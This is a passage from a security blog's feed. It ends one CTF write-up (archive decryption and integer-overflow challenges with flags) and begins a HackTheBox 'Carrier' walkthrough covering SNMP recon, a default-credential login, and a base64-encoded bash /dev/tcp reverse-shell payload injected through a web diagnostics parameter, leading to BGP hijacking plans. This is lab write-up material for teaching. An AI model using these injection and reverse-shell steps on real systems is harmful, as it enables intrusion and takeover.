class="n">res</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">()</span> <span class="k">if</span> <span class="n">res</span> <span class="o">==</span> <span class="s">'1'</span><span class="p">:</span> <span class="n">createArchive</span><span class="p">()</span> <span class="k">elif</span> <span class="n">res</span> <span class="o">==</span> <span class="s">'2'</span><span class="p">:</span> <span class="n">updateArchive</span><span class="p">()</span> <span class="k">elif</span> <span class="n">res</span> <span class="o">==</span> <span class="s">'3'</span><span class="p">:</span> <span class="n">accessArchive</span><span class="p">()</span> <span class="k">elif</span> <span class="n">res</span> <span class="o">==</span> <span class="s">'4'</span><span class="p">:</span> <span class="n">decrypt_archive</span><span class="p">(</span><span class="s">'boiteaklou.dla'</span><span class="p">,</span><span class="s">'pruden'</span><span class="p">,</span><span class="s">'patties'</span><span class="p">)</span> <span class="c1"># HERE </span> <span class="k">else</span><span class="p">:</span> <span class="k">print</span> <span class="s">'Wrong choice'</span> <span class="k">except</span><span class="p">:</span> <span class="k">print</span> <span class="s">'Error.'</span> </code></pre></div></div> <p>Now, the password archive should be decrypted:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>strings boiteaklou.db SQLite format 3 tablePasswordsPasswords CREATE TABLE Passwords<span class="o">(</span>website TEXT, username TEXT, password TEXT<span class="o">)</span> <span class="p">;</span>website_exampleusernameINSA<span class="o">{</span>Tis_bUt_a_SCr4tch<span class="o">}</span> </code></pre></div></div> <h2 id="pwn-intergover">[Pwn] Intergover</h2> <h3 id="statement-4">Statement</h3> <blockquote> <p>I hope you know how integers are stored.</p> <p><code class="language-plaintext highlighter-rouge">ssh -i &lt;your_keyfile&gt; -p 2223 [email protected]</code> To find your keyfile, look into your profile on this website.</p> <p><a href="/assets/2019-05-08/intergover" title="intergover">Binary</a></p> <p><a href="https://www.youtube.com/watch?v=_BgblvF90UE">https://www.youtube.com/watch?v=_BgblvF90UE</a></p> </blockquote> <h3 id="spotting-the-vulnerabilty">Spotting the vulnerabilty</h3> <p>Let’s see what we can get from this binary.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file intergover intergover: ELF 64-bit LSB executable, x86-64, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, <span class="k">for </span>GNU/Linux 2.6.32, BuildID[sha1]<span class="o">=</span>8a1089cd9d189ee37904eaf6edfb3ce59652a881, not stripped </code></pre></div></div> <p>Ok, it’s a 64-bit executable, not stripped. We can quickly reverse-engineer the binary in order to get a fine understanding of its behavior.</p> <p>Here is the pseudo-code generated by IDA Pro:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+1Bh] [rbp-15h]</span> <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [rsp+1Ch] [rbp-14h]</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+20h] [rbp-10h]</span> <span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// [rsp+24h] [rbp-Ch]</span> <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-8h]</span> <span class="n">v8</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Give me one param: "</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="n">envp</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span> <span class="n">fflush</span><span class="p">(</span><span class="mi">0LL</span><span class="p">);</span> <span class="n">v7</span> <span class="o">=</span> <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v5</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v7</span> <span class="o">!=</span> <span class="mi">1</span> <span class="p">)</span> <span class="p">{</span> <span class="n">puts</span><span class="p">(</span><span class="s">"I expect a number."</span><span class="p">);</span> <span class="n">fflush</span><span class="p">(</span><span class="mi">0LL</span><span class="p">);</span> <span class="p">}</span> <span class="n">v4</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">v5</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span> <span class="o">++</span><span class="n">v4</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v4</span> <span class="o">==</span> <span class="o">-</span><span class="mi">14</span> <span class="p">)</span> <span class="p">{</span> <span class="n">gimmeFlagPliz</span><span class="p">();</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"No, I can't give you the flag: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">v4</span><span class="p">);</span> <span class="n">fflush</span><span class="p">(</span><span class="mi">0LL</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>We can see that our input is stored in an unsigned 64-bit int (v5). As indicated by the file <strong>limits.h</strong>, this type of variable can hold values between 0 and 4,294,967,295. Then, a signed 64-bit int is incremented until reaching the value we submitted. 64-bit signed integers can hold value between −2,147,483,648 and +2,147,483,647.</p> <p>The for loop forces us to submit a positive integer, at least when this one is unsigned.</p> <p>Let me explain. The following byte: <em>1111 1111</em> will be seen as <strong>255 in the unsigned world</strong> and as <strong>-1 in the signed world</strong>. So if we submit 2147483647, the program should return -1 because 2147483647 (unsigned) == 1111111111111111111111111111111 (binary) == -1 (signed).</p> <p>Let’s verify this:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./intergover Give me one param: 2147483647 No, I can<span class="s1">'t give you the flag: -1 </span></code></pre></div></div> <p>Great! The pseudo-code taught us that <strong>v4</strong> had to be equal to <strong>-14</strong> in order to call <strong>gimmeFlagPliz()</strong>, so all we have to do is to submit (2147483647-13) == <strong>2147483634</strong> and to grab the flag!</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh <span class="nt">-i</span> ssh_inshack <span class="nt">-p</span> 2223 [email protected] Warning: Permanently added the ECDSA host key <span class="k">for </span>IP address <span class="s1">'[XX.XX.XX.XXX]:2223'</span> to the list of known hosts. ___ _ _ _ ____ ___ _ ___ |_ _|_ __ ___| | | | __ _ ___| | __ |___ <span class="se">\ </span>/ _ <span class="se">\/</span> |/ _ <span class="se">\</span> | <span class="o">||</span> <span class="s1">'_ \/ __| |_| |/ _` |/ __| |/ / __) | | | | | (_) | | || | | \__ \ _ | (_| | (__| &lt; / __/| |_| | |\__, | |___|_| |_|___/_| |_|\__,_|\___|_|\_\ |_____|\___/|_| /_/ =========================================================== You are accessing a sandbox challenge over SSH This sandbox will be killed soon enough. Please wait while we launch your sandbox... =========================================================== Give me one param: 2147483634 INSA{B3_v3rY_c4r3fUL_w1tH_uR_1nt3g3r_bR0} Connection to intergover.ctf.insecurity-insa.fr closed. </span></code></pre></div></div> <h2 id="pwn-signed-or-unsigned">[Pwn] Signed or unsigned</h2> <h3 id="statement-5">Statement</h3> <blockquote> <p>Signed or not signed, this is the question :) <a href="/assets/2019-05-08/signed_or_not_signed" title="signed or not signed">Binary</a></p> <p><code class="language-plaintext highlighter-rouge">ssh -i &lt;your_keyfile&gt; -p 2228 [email protected]</code> To find your keyfile, look into your profile on this website.</p> <p><a href="https://www.youtube.com/watch?v=inXC_lab-34">https://www.youtube.com/watch?v=inXC_lab-34</a></p> </blockquote> <h3 id="spotting-the-vulnerability">Spotting the vulnerability</h3> <p>As this challenge is in the same vein as the previous one, I’ll go straight to the solution.</p> <p>We have a 64-bit ELF which can be translated in the following pseudo-code:</p> <p><img src="/assets/2019-05-08/code48.png" alt="Pseudo code" title="code signed or not signed" /></p> <p>If the user input is inferior to 10, we call the <strong>vuln()</strong> function.</p> <p><img src="/assets/2019-05-08/vuln.png" alt="Vuln" title="Vuln" /></p> <p>The user input is stored in a signed integer so we can submit <strong>-666</strong> directly and get the flag.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh <span class="nt">-i</span> ssh_inshack <span class="nt">-p</span> 2228 [email protected] ___ _ _ _ ____ ___ _ ___ |_ _|_ __ ___| | | | __ _ ___| | __ |___ <span class="se">\ </span>/ _ <span class="se">\/</span> |/ _ <span class="se">\</span> | <span class="o">||</span> <span class="s1">'_ \/ __| |_| |/ _` |/ __| |/ / __) | | | | | (_) | | || | | \__ \ _ | (_| | (__| &lt; / __/| |_| | |\__, | |___|_| |_|___/_| |_|\__,_|\___|_|\_\ |_____|\___/|_| /_/ =========================================================== You are accessing a sandbox challenge over SSH This sandbox will be killed soon enough. Please wait while we launch your sandbox... =========================================================== Please give me a number:-666 INSA{Th3_qU3sTi0n_1s_S1gN3d_0r_x90} Connection to signed-or-not-signed.ctf.insecurity-insa.fr closed. </span></code></pre></div></div> <p>Not too much difficulty in this one but well it’s still a flag :)</p> <p id="signature">BoiteAKlou :hammer:</p>BoiteAKlouHackTheBox: Carrier writeup2019-03-16T21:00:00+00:002019-03-16T21:00:00+00:00/HackTheBox-Carrier<p><img src="/assets/2019-03-16/carrier-box.png" alt="Carrier box" title="Carrier Box" /></p> <p>Carrier was a very interesting box where a <strong>web command injection</strong> gave access to a <strong>BGP router</strong>. After some <strong>BGP Hijacking</strong> magic, it was possible to retrieve the FTP credentials of a rich Nigerian Prince, which allowed us to read the flag stored on this FTP server… <!--excerpt--></p> <h2 class="no_toc" id="table-of-contents">Table of Contents</h2> <ul id="markdown-toc"> <li><a href="#initial-foothold-and-user-access" id="markdown-toc-initial-foothold-and-user-access">Initial Foothold And User Access</a> <ul> <li><a href="#recon" id="markdown-toc-recon">Recon</a></li> <li><a href="#very-snmp" id="markdown-toc-very-snmp">Very SNMP</a></li> <li><a href="#lyghtspeed-web-server" id="markdown-toc-lyghtspeed-web-server">Lyghtspeed web server</a></li> <li><a href="#from-command-injection-to-reverse-shell" id="markdown-toc-from-command-injection-to-reverse-shell">From Command Injection to Reverse Shell</a> <ul> <li><a href="#tickets" id="markdown-toc-tickets">Tickets</a></li> <li><a href="#diagnostics" id="markdown-toc-diagnostics">Diagnostics</a></li> <li><a href="#road-to-reverse-shell" id="markdown-toc-road-to-reverse-shell">Road to Reverse Shell</a></li> </ul> </li> </ul> </li> <li><a href="#privilege-escalation" id="markdown-toc-privilege-escalation">Privilege escalation</a> <ul> <li><a href="#network-configuration" id="markdown-toc-network-configuration">Network configuration</a> <ul> <li><a href="#network-interfaces" id="markdown-toc-network-interfaces">Network interfaces</a></li> <li><a href="#bgp-configuration" id="markdown-toc-bgp-configuration">BGP configuration</a></li> <li><a href="#routing-table" id="markdown-toc-routing-table">Routing table</a></li> <li><a href="#updated-network-diagram" id="markdown-toc-updated-network-diagram">Updated network diagram</a></li> </ul> </li> <li><a href="#whats-the-plan" id="markdown-toc-whats-the-plan">What’s the plan?</a></li> <li><a href="#1012015024-scanning" id="markdown-toc-1012015024-scanning">10.120.15.0/24 scanning</a> <ul> <li><a href="#10120151" id="markdown-toc-10120151">10.120.15.1</a></li> <li><a href="#101201510" id="markdown-toc-101201510">10.120.15.10</a></li> </ul> </li> <li><a href="#bgp-hijacking" id="markdown-toc-bgp-hijacking">BGP Hijacking</a> <ul> <li><a href="#fake-route-advertising" id="markdown-toc-fake-route-advertising">Fake route Advertising</a></li> <li><a href="#changing-eth2-ip-address" id="markdown-toc-changing-eth2-ip-address">Changing eth2 ip address</a></li> </ul> </li> <li><a href="#faking-an-ftp-server" id="markdown-toc-faking-an-ftp-server">Faking an FTP server</a></li> <li><a href="#retrieving-the-flag" id="markdown-toc-retrieving-the-flag">Retrieving the flag</a></li> </ul> </li> <li><a href="#final-words" id="markdown-toc-final-words">Final words</a></li> </ul> <h2 id="initial-foothold-and-user-access">Initial Foothold And User Access</h2> <h3 id="recon">Recon</h3> <p>The initial <code class="language-plaintext highlighter-rouge">nmap</code> scan revealed an Apache web server on port 80 and an SSH server on port 22.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nmap <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-vvv</span> 10.10.10.105 <span class="o">[</span>...] PORT STATE SERVICE REASON VERSION 21/tcp filtered ftp no-response 22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span> | ssh-hostkey: | 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 <span class="o">(</span>RSA<span class="o">)</span> | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI2Jfx6VeMU2wFDys5YoSIVCu4U626/VDawUrXKa5SR+D8HaNvt6QFECtQumoFcYzxD7Jnd3PKw/dXTXvePTPnolDUNV3oim X8gEI3iY157v5scgrOKFjw39cTMuTfLc7/rM8e2TOeziN4yzzLfWAiTbe4wfiDe8cea7zJ1RFwvgGc398xiOA8bo1nwMD0wUkduJhtH4V98LpJZOVB4tMmtCdyb1T+e3HIR/1Wbm MBLs0e6Cc/rf+K8vgqu6Tu/o4o8/TZ9aH9K5xoDRUXjU2R1w/Bi0HvYYHFRf664/NG9WcK/R0VlV6j92DOYL9wdUYwANyQPc4YCDfyuM6F6Bbd | 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 <span class="o">(</span>ECDSA<span class="o">)</span> | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJToeoLQWJwkfcWBimMzO4E6BKOaHbTkWIk1uHoniOdaUaDL5C6MO2NeYYSaru /ikAYSHPU83p1p6hNcOJVy+OY<span class="o">=</span> | 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 <span class="o">(</span>ED25519<span class="o">)</span> |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIN0vm7BcvmBgddJb7k1W7qUkBgn2n0T1bdOU6GV1JB8 80/tcp open http syn-ack Apache httpd 2.4.18 <span class="o">((</span>Ubuntu<span class="o">))</span> | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not <span class="nb">set</span> | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 <span class="o">(</span>Ubuntu<span class="o">)</span> |_http-title: Login Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel </code></pre></div></div> <p>A UDP scan turned out to be also very interesting (<code class="language-plaintext highlighter-rouge">--max-retries 0</code> drastically reduces the scanning time).</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>nmap <span class="nt">-sU</span> <span class="nt">--max-retries</span> 0 10.10.10.105 Starting Nmap 7.70 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2019-03-16 19:38 CET Warning: 10.10.10.105 giving up on port because retransmission cap hit <span class="o">(</span>0<span class="o">)</span><span class="nb">.</span> Nmap scan report <span class="k">for </span>10.10.10.105 Host is up <span class="o">(</span>0.040s latency<span class="o">)</span><span class="nb">.</span> Not shown: 991 open|filtered ports PORT STATE SERVICE 161/udp open snmp <span class="o">[</span>...] </code></pre></div></div> <h3 id="very-snmp">Very SNMP</h3> <p><strong>Nmap Scripting Engine</strong> provides a script named <em>snmp-brute</em>, which is useful for bruteforcing snmp communities.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>nmap <span class="nt">-sU</span> <span class="nt">--script</span> snmp-brute <span class="nt">-p161</span> 10.10.10.105 Starting Nmap 7.70 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2019-03-16 19:42 CET Nmap scan report <span class="k">for </span>10.10.10.105 Host is up <span class="o">(</span>0.041s latency<span class="o">)</span><span class="nb">.</span> PORT STATE SERVICE 161/udp open snmp | snmp-brute: |_ public - Valid credentials Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>2.15 seconds </code></pre></div></div> <p><code class="language-plaintext highlighter-rouge">snmpwalk</code> is a script automating the exploration of a MIB for a given community. Thanks to this tool, we could retrieve a string that will be essential in the rest of the box.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>snmpwalk <span class="nt">-c</span> public 10.10.10.105 <span class="nt">-v1</span> iso.3.6.1.2.1.47.1.1.1.1.11 <span class="o">=</span> STRING: <span class="s2">"SN#NET_45JDX23"</span> End of MIB </code></pre></div></div> <p>Let’s move on to the web server!</p> <h3 id="lyghtspeed-web-server">Lyghtspeed web server</h3> <p>The web server showed a login page when browsing to <a href="http://10.10.10.105:80">http://10.10.10.105:80</a> as well as <strong>error codes 45007 and 45009</strong>.</p> <p><img src="/assets/2019-03-16/lyghtspeed-login.png" alt="Lyghtspeed login" title="Lyghtspeed login" /></p> <p>Trivial username/password combinations were not successful so I focused on the enumeration using <code class="language-plaintext highlighter-rouge">gobuster</code>.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gobuster <span class="nt">-u</span> http://10.10.10.105 <span class="nt">-w</span> /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt <span class="nt">-t</span> 50 <span class="nt">-x</span> php <span class="o">=====================================================</span> Gobuster v2.0.0 OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> <span class="o">=====================================================</span> <span class="o">[</span>+] Mode : <span class="nb">dir</span> <span class="o">[</span>+] Url/Domain : http://10.10.10.105/ <span class="o">[</span>+] Threads : 50 <span class="o">[</span>+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt <span class="o">[</span>+] Status codes : 200,204,301,302,307,403 <span class="o">[</span>+] Extensions : php <span class="o">[</span>+] Timeout : 10s <span class="o">=====================================================</span> 2019/03/16 20:14:41 Starting gobuster <span class="o">=====================================================</span> /index.php <span class="o">(</span>Status: 200<span class="o">)</span> /img <span class="o">(</span>Status: 301<span class="o">)</span> /tools <span class="o">(</span>Status: 301<span class="o">)</span> /doc <span class="o">(</span>Status: 301<span class="o">)</span> /css <span class="o">(</span>Status: 301<span class="o">)</span> /js <span class="o">(</span>Status: 301<span class="o">)</span> /tickets.php <span class="o">(</span>Status: 302<span class="o">)</span> /fonts <span class="o">(</span>Status: 301<span class="o">)</span> /dashboard.php <span class="o">(</span>Status: 302<span class="o">)</span> /debug <span class="o">(</span>Status: 301<span class="o">)</span> /diag.php <span class="o">(</span>Status: 302<span class="o">)</span> <span class="o">=====================================================</span> 2019/03/16 20:17:32 Finished <span class="o">=====================================================</span> </code></pre></div></div> <p>Most of the potentially interesting pages redirected to the login page. However, a pdf file named <em>“error_codes.pdf”</em> was available under <strong>/doc</strong>.</p> <p><img src="/assets/2019-03-16/lyghtspeed-doc.png" alt="Lyghtspeed /doc" title="Lyghtspeed /doc" /></p> <p><strong>error_codes.pdf</strong> gives a description for every error code of the Lyghtspeed Management Platform. Let’s study the meaning of codes <strong>45007</strong> and <strong>45009</strong> that we’ve seen ealier on the login page.</p> <p><img src="/assets/2019-03-16/lyghtspeed-codes.png" alt="Lyghtspeed codes" title="Lyghtspeed codes" /></p> <p>The string we found in the MIB is actually <strong>the serial number of the chassis</strong> (SN#NET_45JDX23).</p> <p>Thanks to this indication, I managed to login with the following credentials: <strong>admin/NET_45JDX23</strong>.</p> <h3 id="from-command-injection-to-reverse-shell">From Command Injection to Reverse Shell</h3> <p>Once logged in, a dashboard and two other pages were accessible.</p> <p><img src="/assets/2019-03-16/lyghtspeed-dashboard.png" alt="Lyghtspeed dashboard" title="Lyghtspeed dashboard" /></p> <h4 id="tickets">Tickets</h4> <p>The <strong>“Tickets”</strong> page gave a lot of clues about the second part of the exploitation. It was mentioning a Nigerian Prince having issues connecting to <strong>a FTP server</strong>. <strong>BGP routing</strong> among AS was also evoked.</p> <p><img src="/assets/2019-03-16/lyghtspeed-tickets.png" alt="Lyghtspeed tickets" title="Lyghtspeed tickets" /></p> <h4 id="diagnostics">Diagnostics</h4> <p>The “<strong>Diagnostics</strong>” page seemed to show the output of the command <code class="language-plaintext highlighter-rouge">ps -aux | grep quagga | grep -v grep</code>.</p> <p><img src="/assets/2019-03-16/lyghtspeed-diagnostics.png" alt="Lyghtspeed diagnostics" title="Lyghtspeed diagnostics" /></p> <p>After examining the <strong>POST request</strong> sent when clicking on “Verify status” with Burp, it occurred that the <strong>check</strong> parameter was the <strong>base64-encoding</strong> of “quagga”.</p> <p><img src="/assets/2019-03-16/lyghtspeed-quagga.png" alt="Lyghtspeed quagga" title="Lyghtspeed quagga" /></p> <p>Let’s see if we can control the output by modifying this parameter:</p> <p><img src="/assets/2019-03-16/lyghtspeed-ssh.png" alt="Lyghtspeed SSH" title="Lyghtspeed SSH" /></p> <p>Indeed, the output has been modified to show everything related to “ssh”. Now, let’s try to inject other commands in order to <strong>get a reverse shell on the machine</strong>.</p> <blockquote> <p>SPOILER: The user flag can be retrieved without getting a reverse shell but it is mandatory for the rest of the box.</p> </blockquote> <h4 id="road-to-reverse-shell">Road to Reverse Shell</h4> <p>This one was pretty difficult to trigger, I must have tried a dozen of different reverse shell payloads before finding the right one: <code class="language-plaintext highlighter-rouge">; /bin/bash -c "bash -i &gt;&amp; /dev/tcp/10.10.14.89/9999 0&gt;&amp;1"</code></p> <ul> <li><strong>Base64</strong> encode the payload: <em>OyAvYmluL2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuODkvOTk5OSAwPiYxIg==</em></li> <li>Setup a <strong>local listener</strong>: <code class="language-plaintext highlighter-rouge">nc -lvnp 9999</code></li> <li>Send the command inside the POST request via the <strong>check</strong> parameter (Burp Repeater ).</li> </ul> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nc <span class="nt">-lvnp</span> 9999 listening on <span class="o">[</span>any] 9999 ... connect to <span class="o">[</span>10.10.14.89] from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>10.10.10.105] 58148 bash: cannot <span class="nb">set </span>terminal process group <span class="o">(</span>25835<span class="o">)</span>: Inappropriate ioctl <span class="k">for </span>device bash: no job control <span class="k">in </span>this shell root@r1:~# </code></pre></div></div> <p>Surprise! We’re root already.</p> <p>The user flag can be retrieved at <strong>/root/user.txt</strong>.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /root/user.txt 5649[...] </code></pre></div></div> <p>Half of the job is done, let’s move on to the privilege escalation phase!</p> <blockquote> <p>NOTE: Only after finishing the box, I realized that I could have simply added my own ssh public key to /root/.ssh/authorized_keys, which would have allowed me to login via ssh…</p> </blockquote> <h2 id="privilege-escalation">Privilege escalation</h2> <p>Upgrading to a <strong>fully interactive reverse shell</strong> is a good reflex to adopt as soon as we’re dealing with a reverse shell (see my other article <a href="https://www.boiteaklou.fr/Fully-interactive-reverse-shell.html">Upgrading to a fully interactive reverse shell</a>).</p> <p>As a few hints suggested it, the privilege escalation part of this box is <strong>heavily network-related</strong>.</p> <h3 id="network-configuration">Network configuration</h3> <p>The first step consisted in <strong>understanding the network topology</strong> and <strong>examining every configuration files</strong> that could give information about it.</p> <p>The following diagram, available on the web server (<a href="http://10.10.10.105/doc/diagram_for_tac.png">http://10.10.10.105/doc/diagram_for_tac.png</a>), was very helpful for understanding the network context:</p> <p><img src="/assets/2019-03-16/lyghtspeed-diagram.png" alt="Lyghtspeed diagram" title="Lyghtspeed diagram" /></p> <h4 id="network-interfaces">Network interfaces</h4> <p>The router we’re connected to has 3 network interfaces.</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# ip a ip a 1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 <span class="nb">link</span>/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 8: eth0@if9: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default qlen 1000 <span class="nb">link</span>/ether 00:16:3e:d9:04:ea brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 10.99.64.2/24 brd 10.99.64.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::216:3eff:fed9:4ea/64 scope <span class="nb">link </span>valid_lft forever preferred_lft forever 10: eth1@if11: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default qlen 1000 <span class="nb">link</span>/ether 00:16:3e:8a:f2:4f brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 10.78.10.1/24 brd 10.78.10.255 scope global eth1 valid_lft forever preferred_lft forever inet6 fe80::216:3eff:fe8a:f24f/64 scope <span class="nb">link </span>valid_lft forever preferred_lft forever 12: eth2@if13: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc noqueue state UP group default qlen 1000 <span class="nb">link</span>/ether 00:16:3e:20:98:df brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 10.78.11.1/24 brd 10.78.11.255 scope global eth2 valid_lft forever preferred_lft forever inet6 fe80::216:3eff:fe20:98df/64 scope <span class="nb">link </span>valid_lft forever preferred_lft forever </code></pre></div></div> <h4 id="bgp-configuration">BGP configuration</h4> <p>The BGP configuration is available in <strong>/etc/quagga/bgpd.conf</strong>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# <span class="nb">cat</span> /etc/quagga/bgpd.conf <span class="nb">cat</span> /etc/quagga/bgpd.conf <span class="o">!</span> <span class="o">!</span> Zebra configuration saved from vty <span class="o">!</span> 2018/07/02 02:14:27 <span class="o">!</span> route-map to-as200 permit 10 route-map to-as300 permit 10 <span class="o">!</span> router bgp 100 bgp router-id 10.255.255.1 network 10.101.8.0/21 network 10.101.16.0/21 redistribute connected neighbor 10.78.10.2 remote-as 200 neighbor 10.78.11.2 remote-as 300 neighbor 10.78.10.2 route-map to-as200 out neighbor 10.78.11.2 route-map to-as300 out <span class="o">!</span> line vty <span class="o">!</span> </code></pre></div></div> <h4 id="routing-table">Routing table</h4> <p>The routing table can be displayed using <code class="language-plaintext highlighter-rouge">ip r</code>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@r1:~# ip r ip r default via 10.99.64.1 dev eth0 onlink 10.78.10.0/24 dev eth1 proto kernel scope <span class="nb">link </span>src 10.78.10.1 10.78.11.0/24 dev eth2 proto kernel scope <span class="nb">link </span>src 10.78.11.1 10.99.64.0/24 dev eth0 proto kernel scope <span class="nb">link </span>src 10.99.64.2 10.100.10.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.11.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.12.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.13.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.14.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.15.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.16.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.17.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.18.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.19.0/24 via 10.78.10.2 dev eth1 proto zebra 10.100.20.0/24 via 10.78.10.2 dev eth1 proto zebra 10.120.10.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.11.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.12.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.13.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.14.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.15.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.16.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.17.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.18.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.19.0/24 via 10.78.11.2 dev eth2 proto zebra 10.120.20.0/24 via 10.78.11.2 dev eth2 proto zebra </code></pre></div></div> <h4 id="updated-network-diagram">Updated network diagram</h4> <p>From the network configuration files, we can deduce the <strong>IP address of other AS routers</strong>, as well as the <strong>subnets connected to these AS</strong>. This gives the following updated diagram:</p> <p><img src="/assets/2019-03-16/updated-diagram.png" alt="Updated diagram" title="Updated diagram" /></p> <h3 id="whats-the-plan">What’s the plan?</h3> <ul> <li> <p>We know from the tickets on the web server, that there is <strong>a valuable FTP server</strong> in the <strong>10.120.15.0/24 